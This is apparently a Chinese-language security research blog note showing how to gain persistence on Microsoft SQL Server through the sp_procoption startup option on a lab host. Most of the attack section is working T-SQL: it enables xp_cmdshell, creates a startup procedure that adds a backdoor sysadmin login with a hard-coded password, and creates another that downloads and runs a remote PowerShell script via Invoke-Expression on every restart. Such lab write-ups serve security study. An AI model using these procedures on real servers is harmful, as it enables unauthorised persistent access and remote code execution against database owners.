返回首页
EN
H7 / SECURITY RESEARCH NOTES

利用Mssql sp_procoption存储过程实现任意命令执行

环境说明

IPHOSTNAMENOTE
10.10.10.88win10_dqy测试主机

前言

存储过程Procedure

  • 存储过程Procedure 是一组为了完成特定功能的SQL 语句集合,经编译后存储在数据库中,用户通过指定存储过程的名称并给出参数来执行。 存储过程中可以包含逻辑控制语句和数据操纵语句,它可以接受参数、输出参数、返回单个或多个结果集以及返回值。
  • 简单理解:存储过程即一系列sql语句集合,方便后续重复使用某些操作而产生的东西。

攻击原理

  • sql server会自带一些原生的存储过程,而问题就出现在其中一个名称为sp_procoption的存储过程,其可用于配置用户定义的存储过程以在 SQL Server 启动或重新启动时运行,那么我们通过配置sp_procoption存储过程为我们的恶意代码之后,当sql server重新启动时,就会执行我们的恶意代码,从而实现持久化。

复现过程

前提条件

  • 该存储过程必须存在于Master database;
  • 不能接受输入和输出参数;
  • 必须被sysadmin标记为自动执行;

下载安装Mssql

  • SQLManagementStudio下载地址如下,它是管理SQLServer数据库的工具。
https://www.microsoft.com/en-us/download/details.aspx?id=42299
  • 选择SQLManagementStudio安装,并且安装时请提前安装Mssql前先安装.NET 3.5环境,如下图:

  • SQLServer下载地址如下:
https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads
  • 这里选择本地Sql Server安装:

配置Mssql

  • 开启xp_cmdshell
sp_configure 'show advanced options',1
RECONFIGURE
GO

sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

  • 创建一个存储过程去添加一个新的sysadmin账号
USE MASTER
GO
CREATE PROCEDURE sp_add_backdoor_account
AS
-- create sql server login backdoor_account
CREATE LOGIN backdoor_account WITH PASSWORD = 'Password123!';
-- Add backdoor_account to sysadmin fixed server role
EXEC sp_addsrvrolemember 'backdoor_account', 'sysadmin';
GO

  • 使用xp_cmdshell存储过程去创建一个存储过程,用于下载和执行远程Powershell脚本
USE MASTER
GO
CREATE PROCEDURE sp_add_backdoor
AS
-- Download and execute PowerShell code from the internet
EXEC master..xp_cmdshell 'powershell -C "Invoke-Expression (new-object System.Net.WebClient).DownloadString(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1'')"'
GO

  • 该powershell脚本内容为向c盘temp目录下写入一个helloworld.txt文件

  • 使用下列查询语句去配置Sqlserver,当sqlserver重启时执行我们构造的恶意存储过程。
EXEC sp_procoption @ProcName = 'sp_add_backdoor_account',
@OptionName = 'startup',
@OptionValue = 'on';

EXEC sp_procoption @ProcName = 'sp_add_backdoor',
@OptionName = 'startup',
@OptionValue = 'on';

执行恶意代码

  • 接下来我们重启Mssql服务

  • 如下图,我们的远程powershell被执行